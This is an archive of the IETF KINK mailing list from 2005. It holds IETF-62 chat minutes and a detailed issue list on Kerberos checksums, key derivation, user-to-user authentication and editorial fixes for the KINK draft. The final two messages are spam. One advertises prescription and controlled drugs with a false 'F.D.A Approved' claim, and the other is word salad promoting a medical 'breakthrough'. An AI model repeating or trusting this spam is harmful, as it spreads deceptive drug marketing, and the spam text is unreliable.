Jeff H: I think discussing 12 is a good idea. Discussing u2u might also be a good idea, but I'm not sure if it can be solved today. Jeff H: I'd like to touch on key usages. I'm fairly happy with the resolutions I saw to the other Kerberos-related issues the KRB-ERROR proposal annoys me, but we don't yet provide what you need and you may not want to wait for RFC1510ter to be published. Sam H: You really do not want to wait for 1510ter Mike T: right... I'm cool with nuking the krb-error keying Jeff H: 1510ter is supposed to go to WGLC by august.. If that happens, I'd guess it would be published around this time next year. It could take longer... Sam H: #12. field in ap-req for subsession keys in gssapi, key in tkt.. client proposes a key in its message. acceptor proposes a new key, using client key and session key. acceptors key is used. - another option: diff keys in different directions - another: not use subkey Sam H: issue: session key could be long-lived Mike T: but isn't the subkey as well?? it's in the same ticket Derek: matatcisco: no, subkey is in AP-REQ Jeff H: no. a subkey can be negotiated for each AP-REQ/AP-REP. So reusing the same kerberos ticket for another connectioin/session does not mean you have to reuse the same key. Mike T: so our use of nonce is the moral equivalent of the subsession key. Jeff H: It might be; I've not read that part of your doc in enough detail y= et. Sam H: propose same thing as gssapi.. client subkey overrides session key; server subkey overrides client subkey re nonce: no, it's not integrated into the crypto Mike T: yes it does! it's used to generate the key! Jeff H: Mike, can you give me a ref to the part of the document I should look at for this? Mike T: if we're using kcrypto, does that imply use of the subsession key I don't know what that means! Sam H: no.. subsession key is an optional field. "MUST not send. SHOULD ignore on receive". we should take to the list. Mike T: my feeling is that if it ain't broken now, we shouldn't change it Jeff H: No. =A0kcrypto has no effect on this question Mike T: which issue are we on? Derek: 37 Mike: thanks Jeff H: at first glance, the key derivation described in section 8 looks like the use of the nonce is sufficient to make it not necessary to use subkeys. Derek: good. that means our conclusion to #12 is okay. Jeff: correct Jeff H: we can use key usages, send mail to cliff to get them registered. we don't need to wait until 1510ter. Mike: mic! Jeff H: yes, I think your conclusion to #12 is ok Sam H: I think we can close #37 if there is consensus on the new text for s= ection 8 Derek: #37. Assume 37 is closed. Note that sam will have to read/review i= ke. Jeff H: oh... one of the nonce's is non-optional, right? Sam H: 4.3 wasn't enough detail for NULL/zero-length string. Derek: okay. 37 closed. Derek: Okay, #2. when do you use U2U? Pad? decide which principle to use? use PAD? Mike T: pad? what is that? Derek: PAD is a 2401bis concept Sam H: KINK has principle of remote host in the PAD. Auth based on errors from kdc. other side must have way to say "use U2U this time" I think KINK needs to know in advance what principal it's going to talk to, whether it is U2U or not. Obviously if it's not U2U, you have to know what service to request a ticket for. But even in the U2U case, you can't just trust the other guy's assertion of what principal you should auth to. Three issues: (1) what principal to use -- needs to be in PAD (2) whether to use U2U -- PAD, or learning from remote side. you can use KDC errors for optimization, but can't depend on them. (3) in cross-realm U2U, in what realm do you rendesvous? Mike T: I don't think we violate the "depend" maxim Jeff H: initiator gets ticket in target realm Sam H: people believe it will work with the target's realm. if that's the case, it is clearly the right thing. Mike T: that's how it was all explained to me by matt hur and sasha right... this was discussed in great depth a long time ago Jeff H: this morning I read the expired -06 draft, since nothing newer was in the I-D repository. In that document, the intiator was supposed to send a TGT-REQ and do U2U if and only if it got an error from the KDC indicating it "can't get a service ticket" for the responder. Mike T: me too :) Mike T (to Jeff H): yep Jeff H: The problem with that is the KDC can't always know that -- the issue is whether the responder knows its key/password, or only has tickets presumably you can't get a service ticket for a PKINIT-only client, but there can be other cases where you have to use U2U Mike T: only work... Jeff H: When the next version of the document is published, I'll look at it Mike T: ok... it's going to take me a while to slog through it... I can honestly use some help on the kcrypto stuff... Jeff H: raeburn's your man for kcrypto. but it's really pretty straightforward, or at least we hope it is. Mike T: mostly it's my vague familiarity, and getting the wordsmithing correct yeah, I guess I can take a stab at it and send him the sections to see if they look right Jeff H: probably not a bad idea --=-=-= -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant --=-=-=-- From owner-ietf-kink Mon Apr 4 21:36:42 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j354agEF000404; Mon, 4 Apr 2005 21:36:42 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j354agBp000403; Mon, 4 Apr 2005 21:36:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j354aeuG000396 for ; Mon, 4 Apr 2005 21:36:41 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 6380F5E for ; Tue, 5 Apr 2005 13:36:39 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4jzdzV; Tue, 5 Apr 2005 13:36:39 +0900 (JST) Date: Tue, 05 Apr 2005 13:37:14 +0900 Message-ID: <20050405133714RD%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list rev.6 User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi. I think that there were rough consensuses on solutions which have been proposed on the list, and remaining issues have been discussed and have directions of the fixes at the IETF-62 meeting. Please let me know if I've missed any issues which have no consensus at all or whose solutions are not summed up well. I'm pleased to provide any work I can do to make it go forward. I feel a few issues (on U2U/cross-realm) need to be rechecked when a revised draft is submitted. in discussion: 0 solution proposed: 0 waiting a revision: 41 closed: 2 --------------------------- total: 43 [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. (2401bis) Indicates it depends on 2401 vs 2401bis. Category: Clarifications related to kcrypto =========================================== #8 CksumLen (section 5) (waiting a revision) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. Proposed solutions: - Clarify that you mean the padding discussed in 5.1 (KINK Padding rules), not crypto-system padding. (Sam Hartman) - Use 2 octets for CksumLen field in accordance with kcrypto. See also: #9 #9 [**] etype does not directly indicate checksum type (section 5) (waiting a revision) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) Proposed solutions are: - Use "required checksum mechanism" checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. - Move the Cksum field to the end of the message. (maybe without padding between the last payload and checksum?) (Message-ID: <20050131093509FD%kamada@nanohz.org>) #10 [**] Kerberos allows variable length checksum (section 5) (waiting a revision) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) Proposed solution: look at #9 #11 Kerberos checksum is not deterministic (section 5) (waiting a revision) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) Proposed solution: look at #9 #20 [**] KINK_ENCRYPT format (section 5.1.8) (waiting a revision) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. (Sam Hartman) Related thread: Message-Id: <20050204205737C.sakane@kame.net> Proposed solution: Use the output of the kcrypto encryption. #25 [**] prf (section 8) (waiting a revision) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) Section 6.1 (the description of hash algorithm): This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. (Sam Hartman) Related thread: <20050210161443XN%kamada@nanohz.org> Proposed solution: - use RFC 3961 PRF (instead of "hash") to generate KEYMAT. (PRF is suitable for key generation for KINK.) #26 Key derivation (section 8) (waiting a revision) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) I don't understand what this section says well enough to determine whether it works with kcrypto. (Sam Hartman) Proposal: <20050221165123IJ%kamada@nanohz.org> #28 Key usage (waiting a revision) Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) You can assign the numbers out of the space reserved for applications if principals used for kink will not be used for other purposes. If principals used for kink will be used for other purposes it is probably desirable to talk to Tom Yu and get a key usage number added to 1510ter. You'll also want to add the same key usage number to Kink to avoid a normative reference to 1510ter. (Sam Hartman, Message-ID: ) Related thread: <4208422C.5020905@miyazawa.org> Proposal: - Get 2 key usage numbers (for KINK_ENCRYPT and KINK Cksum) from 1510ter. (and defined them in the KINK draft to avoid waiting 1510ter as a normative reference.) Category: U2U (and cross-realm) issues ====================================== #3 [**] Choosing the right principal when U2U (waiting a revision) It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) Section 5.1.2: How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? (Sam Hartman) Proposal: - The initiator should know the responder's principal name in the same way with non-U2U case. <20050225114411XP%kamada@nanohz.org> #19 [**] Cross-realm and U2U (section 4.2 and 5.1.5) (waiting a revision) Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. (Sam Hartman, <20050129021939.1963F76C87@luminous.mit.edu>) Proposal: - Change GETTGT. (The initiator specified the responder's principal name. The responder returns a TGT for its own realm.) <20050225114411XP%kamada@nanohz.org> #7 [**] DPD: rebooting peers when U2U (section 4.4.2 and 4.5) (waiting a revision) [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. (Sam Hartman) I don't understand what you want here. Are you saying that this doesn't work in the u-u case? I don't understand what u-u has to do with anything here. (Michael Thomas) OK. I was unclear . When sending a status message, what happens if the peer has gotten a new TGT? How do I realize I need to use this TGT rather than the one I have? (Sam Hartman) Proposal: <20050308141232O.sakane@kame.net> - When the responder can't decrypt a U2U KINK_AP_REQ, it returns KINK_TGT_REP with a new TGT. - Then the initiator retry the command with a new service ticket retrieved using the new TGT. - This sequence doesn't directly define how to detect a dead U2U peer, but just define how to recover from the situation that the responder has changed its TGT. - After recovery, the initiator can see whether the responder has been dead or not using the usual DPD method. #2 U2U (section 3, 4.2, and 5.1.2) (waiting a revision) See also: #3, #19, #44, and #7 I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. (Sam Hartman) # choosing the right u2u is discuessed in #3. # cross-realm u2u is discussed in #19. # how to know and get new TGT when peer reboots is discussed in #7 More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) Related thread: <20050307165305VZ%kamada@nanohz.org> and <20050225114411XP%kamada@nanohz.org> (1) what principal to use -- needs to be in PAD (2) whether to use U2U -- PAD, or learning from remote side. you can use KDC errors for optimization, but can't depend on them. (3) in cross-realm U2U, in what realm do you rendesvous? -- target (responder's) realm Review U2U after the next version of the document is published. (@IETF62) #44 [**] How to determine whether the initiator can get a TGT (waiting a revision) Section 4.2: How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) Proposal: - when to use u2u is the Kerberos matter. - what u2u principal to use: initiator knows the responder's principal name in advance and specify it in the GETTGT. See <20050225114411XP%kamada@nanohz.org> for more detailed proposal. Category: Other Kerberos matters ================================ #17 [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) (waiting a revision) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). Proposals: Use KINK checksum instead of signed KRB-ERROR of 1510ter. Replace following paragraph of section 5.1.4 KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. with KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available. Drop reference to krb-error checksum from section 7.1. (Sam Hartman) defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. #18 [**] Kerberos error type limitations (section 5.1.4) (waiting a revision) Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. (Sam Hartman) Related thread: Message-Id: <20050204202941G.sakane@kame.net> Proposed solution: - Remove the limitation. #12 [**] Subsession keys (section 5 and 8) (waiting a revision) Are subsession keys ignored? (Ken Raeburn) The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. (Sam Hartman) Related thread: Message-ID: <20050127171703FZ%kamada@nanohz.org> Michael> more entropy from subsession keys buy us almost nothing (ISAKMP NONCE is enough). There are people who have been writing to *this* spec for several years now. And old mail: <15190.63952.167857.646848@thomasm-u1.cisco.com> Bill> The session key is long-lived. (but it's not really all that different from a per-exchange nonce.) Sam> Being the same as everyone else is preferred if we have no reason. No need to change the behavior. The nonce is sufficient to make it not necessary to use subkeys. "MUST not send. SHOULD ignore on receive." ? (@IETF62) Category: Handshake clarifications ================================== #5 When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) (waiting a revision) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) They are talking the same situation and the requirement levels should be aligned. I think SHOULD is appropriate because non-returning responder's nonce does not break interoperabilities. (Message-ID: <20050127171441FF%kamada@nanohz.org>) If the initiator receives a responder's nonce, she MUST use it in the KEYMAT calculation. I think it is also editorial issue. anyway, the behavior depends on condition. if a responder does not agree with the initiator's proposal, AND if the responder wants to continue the transaction, then the responder MUST send back a message with ACK request bit, and MAY contain a nonce. There is a case when the responder wants to use same KEYMAT of the initiator, but just doesn't want to use the initiator's proposal. It is not always required to add a nonce. (Message-Id: <20050204200406K.sakane@kame.net>) Proposal: - The responer's nonce in 3-way handshake is SHOULD. - When the responder request ACK (sakane-san's comment) is discussed in #45. #45 When to add SAs and which SAs to add in 3-way handshake (waiting a revision) derived from #5 and #37, and related to #23. When does the responder require ACK? - disagreeing on the proposal - doing KE (dispite accepting or rejecting?) - agreeing with the parameters but want to add NONCE (Is this allowed in KINK?) When to add (and remove if necessary) SAs? - usual optimistic approach - (non-KE) 3-way These two are already described in the current draft. - KE 3-way Proposal: - describe that the KE payload requires ACK. - describe that the initiator defer the installation of the inbound SA until it receives REPLY message, when using KE payloads. (because the initiator can't calculate KEYMAT before that.) #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) (waiting a revision) IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) - What keys are used for the resulting SA on the each side? (Sam Hartman, Message-ID: ) Related thread: <20050204170451BM%kamada@nanohz.org> and <20050221115212RM%kamada@nanohz.org>. To be revisted after rewriting section 8. (#26 is the same issue?) hartmans: I think we can close #37 if there is consensus on the new text for section 8 derek: Assume 37 is closed. Note that sam will have to read/review ike. (@IETF62) - (closed) Doesn't the timing when to add in/out SAs conflict with IKE? (Sam Hartman, Message-ID: ) Related thread: Message-ID: <20050204170454BO%kamada@nanohz.org> There is no objection. - (closed) How about when to add SAs and which SAs to add when 3-way. (Message-ID: <20050204170454BO%kamada@nanohz.org>) --> moved to #45 #4 [**](2401bis) CREATE command from the aspect of 2401bis (section 4.3) (closed) I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. Closed: being discussed with #37 Category: Error handling ======================== #1 [**] Versioning (waiting a revision) what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? (Sam Hartman) QM version is discussed in section 12 (Forward Compatibility Considerations). Related thread: Message-Id: <20050202105420R.sakane@kame.net> Proposed solution: - KINK version remove the minor version and KINK_INVMIN error code. - QM versoin already specified in section 12. - KINK payload type return error (KINK_PROTOERR) - ISAKMP payload type return error (ISAKMP INVALID-PAYLOAD-TYPE) (describe each Notify type usage like ikev2 spec.) Specify the behavior when the error is not authenticated in the Security Consideration section. (<20050202105420R.sakane@kame.net>) #23 KE interoperability (section 6.8) (waiting a revision) What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. (Sam Hartman) Releated thread: Message-Id: <20050204213547M.sakane@kame.net> Proposal: - When the responder does not like the KE handling, the responder just reply an ISAKMP error (NO-PROPOSAL-CHOSEN or INVALID-KEY-INFORMATION.) The initiator must proceed the next step properly. <20050228082837W.sakane@kame.net> #31 behavior on KINK_ERROR (waiting a revision) In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. when does the responder generate these errors? Proposal: <42198868.7080309@miyazawa.org> - Add simple description of each error codes. + when these errors are generated by responders. + how to act on these errors. Category: IANA considerations ============================= #33 [-] IANA considerations (section 11) (waiting a revision) I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. (Sam Hartman) See BCP 26 (RFC 2434). Related thread: <20050307084029U.sakane@kame.net> Proposal: <20050309225109Q.sakane@kame.net> 1) from the current docuemnt, the folloing codes are IANA matter. - KINK message type - KINK payload type - KINK error code - KINK port number 2) We have to register - KINK message type - KINK payload type - KINK error code Category: Other clarifications ============================== #16 EPOCH (section 5.1.2) (waiting a revision) Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. (Sam Hartman) Related thread: Message-ID: <20050210154348XQ%kamada@nanohz.org> Proposal: - Just says EPOCH MUST NOT reused in a short period, and leave the format to the implementations. If the draft uses POSIX time, we'll need to describe the semantics of the value like draft-housley-binarytime-xx or refer to POSIX. #22 Kerberos PFS (section 6.8) (waiting a revision) Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) Related thread: Message-Id: <20050204211105O.sakane@kame.net> - (Current) Kerberos doesn't provide PFS. - KINK optionally provides PFS. - KINK PFS has benefits but is not mandatory because of the computational cost. so editorial fix (or even removing this sentence) would be enough. Proposal: - Rewrite the section 6.8 according to the above points. (The AD is ok not to mandate PFS if the WG wants to go that route.) #27 (2401bis) SPD Considerations (section 10.1) (waiting a revision) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) Related thread: Message-ID: <420865DD.1040507@miyazawa.org> Proposal: - This section does not describe security issues, so move it to the outside of the security considerations section. - If KINK refers to 2401bis, almost of this section is related to PAD rather than SPD, so need to clarify SPD/PAD issues. #29 (2401bis) Rekeying (section 4.4.1) (waiting a revision) section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc). (Sam Hartman) Related thread: <42119FC4.8020607@miyazawa.org> Proposed solution: - clarify with the 2410bis words + "hard lifetime minus rekey margin" --> soft lifetime. + randomize soft lifetime. #13 [**] Replay protection (section 5) (closed) The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? (Sam Hartman) Closed: not a issue. (Message-ID: ) #30 (2401bis) IKEv2 (waiting a revision) Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. - IKEv2 doesn't negotiate the SA lifetime. Rekeying in KINK is up to the initiator. Therefore, the lifetime of the responder can happen to be shorter, and the responder has no way to rekey. Related threads: Message-ID: Message-ID: <20050120111553S.sakane@kame.net> Proposal: - We will describe things in 2401bis way, but conforming to IKEv2 is not important. <20050222195329O.sakane@kame.net> Category: Editorial =================== #6 Half open (section 4.4) (waiting a revision) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) Proposed solution: - remove the phrase "for simplicity". (Message-ID: ) #14 [-] Reserved (15 bits) -- Reserved and must be zero (section 5) (waiting a revision) must be zero on send, must be ignored by receiver. #15 [**] How to get the principal name of KINK service (section 5.1.2) (waiting a revision) How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. I interpreted the text as a naming convention, not how a implementation get a peer's principal name. So I think it is an implementation issue whether a principal name is generated from a FQDN or got directly from the PAD. (KAMADA Ken'ichi, <20050131095154FY%kamada@nanohz.org>) Proposal: - Clarify the descriptions so as to avoid misunderstandings that the principal names must be generated from FQDNs. #21 Next Payload in KINK_ENCRYPT (section 5.1.8) (waiting a revision) Text should probably indacte that next payload must be none. Proposed solution: The section 5.1 describes it, however it would be better to describe explicitly so. reader does not has trouble even if the text is described repeatedly. (Message-Id: <20050204210401T.sakane@kame.net>) #24 MUST or SHOULD in clock skew processing (section 7.1) (waiting a revision) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) Related thread: Message-ID: <4202FB85.6080406@miyazawa.org> Proposal: - Just an editorial fix. + Use SHOULD in the descriptoin of the initiator processing. + The description itself should remain untouched. #32 [-] I-D nits (waiting a revision) Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) #35 [-] References (waiting a revision) The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) Section 5: DOI Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. #36 [-] Typos (waiting a revision) 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1 KINK Payloads In the first item, the length of the Next Payload should be one octet instead of two. 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. #38 [-] Terminology (waiting a revision) Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) #40 [-] Wording (waiting a revision) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) #41 [-] Wording in section 3, Protocol Overview (waiting a revision) Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) #42 [-] Wording (waiting a revision) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) #43 [-] Wording (waiting a revision) Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) -- KAMADA Ken'ichi From owner-ietf-kink Fri Apr 15 08:19:59 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j3FFJxBf081988; Fri, 15 Apr 2005 08:19:59 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j3FFJxSE081987; Fri, 15 Apr 2005 08:19:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from p62e727.kagwnt01.ap.so-net.ne.jp (p62e727.kagwnt01.ap.so-net.ne.jp [219.98.231.39]) by above.proper.com (8.12.11/8.12.9) with SMTP id j3FFJmKQ081917; Fri, 15 Apr 2005 08:19:51 -0700 (PDT) (envelope-from ASCMCDGALSN@motorcadegm.com) Received: from unknown (HELO speakeasy.net) by speakeasy.net with DES-FWM3-SHA encrypted SMTP for ; Fri, 15 Apr 2005 20:16:22 +0400 Message-Id: Date: Fri, 15 Apr 2005 14:14:22 -0200 From: "Rocco" To: Subject: save with us Tommy Reply-To: MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Swiss pharmacy online warehouse

Valium $69, Levitra $69, Cialis $89
Viagra $69, Tramadol $69, Ambien $109
Phentermine $69, Xanax $99, Soma $59

With each purchase you get:

Home delivery.
Total confidentiality.
F.D.A ApprovedDrugs.


















you skye me barge me you aborigine me chlorinate me you thomistic me u me you bater me opine me you shod me rodeo me you depressible me school me you bing me camino me quit From owner-ietf-kink Sun May 8 13:51:10 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j48KpAo4032116; Sun, 8 May 2005 13:51:10 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j48KpAih032115; Sun, 8 May 2005 13:51:10 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from 208.184.76.50 ([219.95.212.186]) by above.proper.com (8.12.11/8.12.9) with SMTP id j48Komno031962; Sun, 8 May 2005 13:50:52 -0700 (PDT) (envelope-from lhuuwoiatkr@pjkd.com) Received: from unknown (HELO speakeasy.net) by speakeasy.net with DES-REG3-SHA encrypted SMTP for ; Mon, 09 May 2005 00:47:47 +0300 Message-Id: Date: Sun, 08 May 2005 14:46:47 -0700 From: "Darla Pryor" To: Subject: size does matter! Reply-To: MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: mediocre taos obligatory lorelei
Breakthrough in medicine
more info...









neoconservative defecate doomsday solicitude avowal kraut custodian luminous
sulfide legend flood oatmeal grapefruit bit eater susanne
those orkney acrimonious aorta bloodshot endomorphism
